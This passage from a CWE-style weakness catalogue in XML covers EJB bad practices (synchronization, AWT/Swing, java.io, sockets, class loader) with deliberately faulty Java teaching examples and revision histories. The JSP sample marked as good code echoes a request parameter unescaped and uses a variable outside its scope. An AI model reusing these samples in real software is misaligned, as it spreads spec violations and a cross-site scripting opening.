							              <Code>public class Customer implements Serializable {</Code>
							              <Code/>
							              <Block>
								                <Code>private String id;</Code>
								                <Code>private String firstName;</Code>
								                <Code>private String lastName;</Code>
								                <Code>private Address address;</Code>
								                <Code/>
								                <Code>public Customer() {...}</Code>
								                <Code/>
								                <Code>public Customer(String id, String firstName, String lastName)
									{...}</Code>
								                <Code/>
								                <Code>@Id</Code>
								                <Code>public String getCustomerId() {...}</Code>
								                <Code/>
								                <Code>public synchronized void setCustomerId(String id) {...}</Code>
								                <Code/>
								                <Code>public String getFirstName() {...}</Code>
								                <Code/>
								                <Code>public synchronized void setFirstName(String firstName)
									{...}</Code>
								                <Code/>
								                <Code>public String getLastName() {...}</Code>
								                <Code/>
								                <Code>public synchronized void setLastName(String lastName)
									{...}</Code>
								                <Code/>
								                <Code>@OneToOne()</Code>
								                <Code>public Address getAddress() {...}</Code>
								                <Code/>
								                <Code>public synchronized void setAddress(Address address) {...}
								</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the customer entity EJB uses the synchronized keyword for the
							set methods to attempt to provide thread safe synchronization for the
							member variables. The use of synchronized methods violate the
							restriction of the EJB specification against the use synchronization
							primitives within EJBs. Using synchronization primitives may cause
							inconsistent behavior of the EJB when used within different EJB
							containers.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="575" Name="EJB Bad Practices: Use of AWT Swing" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program violates the Enterprise JavaBeans (EJB)
					specification by using AWT/Swing.</Description_Summary>
				        <Extended_Description>
					          <Text>The Enterprise JavaBeans specification requires that every bean provider
						follow a set of programming guidelines designed to ensure that the bean will
						be portable and behave consistently in any EJB container. In this case, the
						program violates the following EJB guideline: "An enterprise bean must not
						use the AWT functionality to attempt to output information to a display, or
						to input information from a keyboard." The specification justifies this
						requirement in the following way: "Most servers do not allow direct
						interaction between an application program and a keyboard/display attached
						to the server system."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use AWT/Swing when writing EJBs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java example is a simple converter class for
						converting US dollars to Yen. This converter class demonstrates the improper
						practice of using a stateless session Enterprise JavaBean that implements an
						AWT Component and AWT keyboard event listener to retrieve keyboard input
						from the user for the amount of the US dollars to convert to
						Yen.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class ConverterSessionBean extends Component implements
								KeyListener, ConverterSessionRemote {</Code>
							              <Block>
								                <Code/>
								                <Comment>/* member variables for receiving keyboard input using AWT
									API */ </Comment>
								                <Code>...</Code>
								                <Code>private StringBuffer enteredText = new StringBuffer();</Code>
								                <Code/>
								                <Comment>/* conversion rate on US dollars to Yen */</Comment>
								                <Code>private BigDecimal yenRate = new
									BigDecimal("115.3100");</Code>
								                <Code/>
								                <Code>public ConverterSessionBean() {</Code>
								                <Block>
									                  <Code>super();</Code>
									                  <Comment>/* method calls for setting up AWT Component for
										receiving keyboard input */</Comment>
									                  <Code>...</Code>
									                  <Code>addKeyListener(this);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public BigDecimal dollarToYen(BigDecimal dollars) {</Code>
								                <Block>
									                  <Code>BigDecimal result = dollars.multiply(yenRate);</Code>
									                  <Code>return result.setScale(2, BigDecimal.ROUND_DOWN); </Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>/* member functions for implementing AWT KeyListener
									interface */</Comment>
								                <Code>public void keyTyped(KeyEvent event) {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void keyPressed(KeyEvent e) {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void keyReleased(KeyEvent e) {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Comment>/* member functions for receiving keyboard input and
									displaying output */</Comment>
								                <Code>public void paint(Graphics g) {...}</Code>
								                <Code/>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This use of the AWT and Swing APIs within any kind of Enterprise
							JavaBean not only violates the restriction of the EJB specification
							against using AWT or Swing within an EJB but also violates the intended
							use of Enterprise JavaBeans to separate business logic from presentation
							logic.</Text>
						            <Text>The Stateless Session Enterprise JavaBean should contain only business
							logic. Presentation logic should be provided by some other mechanism
							such as Servlets or Java Server Pages (JSP) as in the following Java/JSP
							example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class ConverterSessionBean implements
								ConverterSessionRemoteInterface {</Code>
							              <Block>
								                <Comment>/* conversion rate on US dollars to Yen */</Comment>
								                <Code>private BigDecimal yenRate = new
									BigDecimal("115.3100");</Code>
								                <Code/>
								                <Code>public ConverterSessionBean() {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Comment>/* remote method to convert US dollars to Yen */</Comment>
								                <Code>public BigDecimal dollarToYen(BigDecimal dollars) {</Code>
								                <Block>
									                  <Code>BigDecimal result = dollars.multiply(yenRate);</Code>
									                  <Code>return result.setScale(2, BigDecimal.ROUND_DOWN); </Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;%@ page import="converter.ejb.Converter, java.math.*,
								javax.naming.*"%&gt;</Code>
							              <Code>&lt;%!</Code>
							              <Block>
								                <Code>private Converter converter = null;</Code>
								                <Code>public void jspInit() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>InitialContext ic = new InitialContext();</Code>
										                    <Code>converter = (Converter)
											ic.lookup(Converter.class.getName());</Code>
									                  </Block>
									                  <Code>} catch (Exception ex) {</Code>
									                  <Block>
										                    <Code>System.out.println("Couldn't create converter bean."+
											ex.getMessage());</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public void jspDestroy() {</Code>
								                <Block>
									                  <Code>converter = null;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>%&gt;</Code>
							              <Code>&lt;html&gt;</Code>
							              <Block>
								                <Code>&lt;head&gt;&lt;title&gt;Converter&lt;/title&gt;&lt;/head&gt;</Code>
								                <Code>&lt;body bgcolor="white"&gt;</Code>
								                <Block>
									                  <Code>&lt;h1&gt;Converter&lt;/h1&gt;</Code>
									                  <Code>&lt;hr&gt;</Code>
									                  <Code>&lt;p&gt;Enter an amount to convert:&lt;/p&gt;</Code>
									                  <Code>&lt;form method="get"&gt;</Code>
									                  <Block>
										                    <Code>&lt;input type="text" name="amount"
											size="25"&gt;&lt;br&gt;</Code>
										                    <Code>&lt;p&gt;</Code>
										                    <Code>&lt;input type="submit" value="Submit"&gt;</Code>
										                    <Code>&lt;input type="reset" value="Reset"&gt;</Code>
									                  </Block>
									                  <Code>&lt;/form&gt;</Code>
									                  <Code>&lt;%</Code>
									                  <Block>
										                    <Code>String amount = request.getParameter("amount");</Code>
										                    <Code>if ( amount != null &amp;&amp; amount.length() &gt; 0
											) {</Code>
										                    <Block>
											                      <Code>BigDecimal d = new BigDecimal(amount);</Code>
											                      <Code>BigDecimal yenAmount =
												converter.dollarToYen(d);</Code>
										                    </Block>
									                  </Block>
									                  <Code>%&gt;</Code>
									                  <Code>&lt;p&gt;</Code>
									                  <Code>&lt;%= amount %&gt; dollars are &lt;%= yenAmount %&gt;
										Yen.</Code>
									                  <Code>&lt;p&gt;</Code>
									                  <Code>&lt;%</Code>
									                  <Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>%&gt;</Code>
								                </Block>
								                <Code>&lt;/body&gt;</Code>
							              </Block>
							              <Code>&lt;/html&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="576" Name="EJB Bad Practices: Use of Java I/O" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program violates the Enterprise JavaBeans (EJB)
					specification by using the java.io package.</Description_Summary>
				        <Extended_Description>
					          <Text>The Enterprise JavaBeans specification requires that every bean provider
						follow a set of programming guidelines designed to ensure that the bean will
						be portable and behave consistently in any EJB container. In this case, the
						program violates the following EJB guideline: "An enterprise bean must not
						use the java.io package to attempt to access files and directories in the
						file system." The specification justifies this requirement in the following
						way: "The file system APIs are not well-suited for business components to
						access data. Business components should use a resource manager API, such as
						JDBC, to store data."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use Java I/O when writing EJBs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> The following Java example is a simple stateless Enterprise
						JavaBean that retrieves the interest rate for the number of points for a
						mortgage. In this example, the interest rates for various points are
						retrieved from an XML document on the local file system, and the EJB uses
						the Java I/O API to retrieve the XML document from the local file system. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class InterestRateBean implements InterestRateRemote
								{</Code>
							              <Code/>
							              <Block>
								                <Code>private Document interestRateXMLDocument = null;</Code>
								                <Code>private File interestRateFile = null;</Code>
								                <Code/>
								                <Code>public InterestRateBean() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Comment>/* get XML document from the local filesystem
											*/</Comment>
										                    <Code>interestRateFile = new
											File(Constants.INTEREST_RATE_FILE);</Code>
										                    <Code/>
										                    <Code>if (interestRateFile.exists())</Code>
										                    <Code>{</Code>
										                    <Block>
											                      <Code>DocumentBuilderFactory dbf =
												DocumentBuilderFactory.newInstance();</Code>
											                      <Code>DocumentBuilder db =
												dbf.newDocumentBuilder();</Code>
											                      <Code>interestRateXMLDocument =
												db.parse(interestRateFile);</Code>
										                    </Block>
										                    <Code>} </Code>
									                  </Block>
									                  <Code>} catch (IOException ex) {...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public BigDecimal getInterestRate(Integer points) {</Code>
								                <Block>
									                  <Code>return getInterestRateFromXML(points);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>/* member function to retrieve interest rate from XML
									document on the local file system */</Comment>
								                <Code>private BigDecimal getInterestRateFromXML(Integer points)
									{...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This use of the Java I/O API within any kind of Enterprise JavaBean
							violates the EJB specification by using the java.io package for
							accessing files within the local filesystem.</Text>
						            <Text>An Enterprise JavaBean should use a resource manager API for storing
							and accessing data. In the following example, the private member
							function getInterestRateFromXMLParser uses an XML parser API to retrieve
							the interest rates.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class InterestRateBean implements InterestRateRemote
								{</Code>
							              <Block>
								                <Code/>
								                <Code>public InterestRateBean() {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Code>public BigDecimal getInterestRate(Integer points) {</Code>
								                <Block>
									                  <Code>return getInterestRateFromXMLParser(points);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>/* member function to retrieve interest rate from XML
									document using an XML parser API */</Comment>
								                <Code>private BigDecimal getInterestRateFromXMLParser(Integer
									points) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="577" Name="EJB Bad Practices: Use of Sockets" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program violates the Enterprise JavaBeans (EJB)
					specification by using sockets.</Description_Summary>
				        <Extended_Description>
					          <Text>The Enterprise JavaBeans specification requires that every bean provider
						follow a set of programming guidelines designed to ensure that the bean will
						be portable and behave consistently in any EJB container. In this case, the
						program violates the following EJB guideline: "An enterprise bean must not
						attempt to listen on a socket, accept connections on a socket, or use a
						socket for multicast." The specification justifies this requirement in the
						following way: "The EJB architecture allows an enterprise bean instance to
						be a network socket client, but it does not allow it to be a network server.
						Allowing the instance to become a network server would conflict with the
						basic function of the enterprise bean-- to serve the EJB clients."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use Sockets when writing EJBs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java example is a simple stateless Enterprise JavaBean
						that retrieves stock symbols and stock values. The Enterprise JavaBean
						creates a socket and listens for and accepts connections from clients on the
						socket. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class StockSymbolBean implements StockSymbolRemote {</Code>
							              <Block>
								                <Code/>
								                <Code>ServerSocket serverSocket = null;</Code>
								                <Code>Socket clientSocket = null;</Code>
								                <Code/>
								                <Code>public StockSymbolBean() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>serverSocket = new
											ServerSocket(Constants.SOCKET_PORT);</Code>
									                  </Block>
									                  <Code>} catch (IOException ex) {...}</Code>
									                  <Code/>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>clientSocket = serverSocket.accept();</Code>
									                  </Block>
									                  <Code>} catch (IOException e) {...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public String getStockSymbol(String name) {...}</Code>
								                <Code/>
								                <Code>public BigDecimal getStockValue(String symbol) {...}</Code>
								                <Code/>
								                <Code>private void processClientInputFromSocket() {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>And the following Java example is similar to the previous example but
							demonstrates the use of multicast socket connections within an
							Enterprise JavaBean.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Stateless</Code>
							              <Code>public class StockSymbolBean extends Thread implements
								StockSymbolRemote {</Code>
							              <Block>
								                <Code/>
								                <Code>ServerSocket serverSocket = null;</Code>
								                <Code>Socket clientSocket = null;</Code>
								                <Code>boolean listening = false;</Code>
								                <Code/>
								                <Code>public StockSymbolBean() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>serverSocket = new
											ServerSocket(Constants.SOCKET_PORT);</Code>
									                  </Block>
									                  <Code>} catch (IOException ex) {...}</Code>
									                  <Code/>
									                  <Code>listening = true;</Code>
									                  <Code>while(listening) {</Code>
									                  <Block>
										                    <Code>start();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public String getStockSymbol(String name) {...}</Code>
								                <Code/>
								                <Code>public BigDecimal getStockValue(String symbol) {...}</Code>
								                <Code/>
								                <Code>public void run() {</Code>
								                <Block>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>clientSocket = serverSocket.accept();</Code>
									                  </Block>
									                  <Code>} catch (IOException e) {...}</Code>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The previous two examples within any type of Enterprise JavaBean
							violate the EJB specification by attempting to listen on a socket,
							accepting connections on a socket, or using a socket for
							multicast.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="578" Name="EJB Bad Practices: Use of Class Loader" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program violates the Enterprise JavaBeans (EJB)
					specification by using the class loader.</Description_Summary>
				        <Extended_Description>
					          <Text>The Enterprise JavaBeans specification requires that every bean provider
						follow a set of programming guidelines designed to ensure that the bean will
						be portable and behave consistently in any EJB container. In this case, the
						program violates the following EJB guideline: "The enterprise bean must not
						attempt to create a class loader; obtain the current class loader; set the
						context class loader; set security manager; create a new security manager;
						stop the JVM; or change the input, output, and error streams." The
						specification justifies this requirement in the following way: "These
						functions are reserved for the EJB container. Allowing the enterprise bean
						to use these functions could compromise security and decrease the
						container's ability to properly manage the runtime environment."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
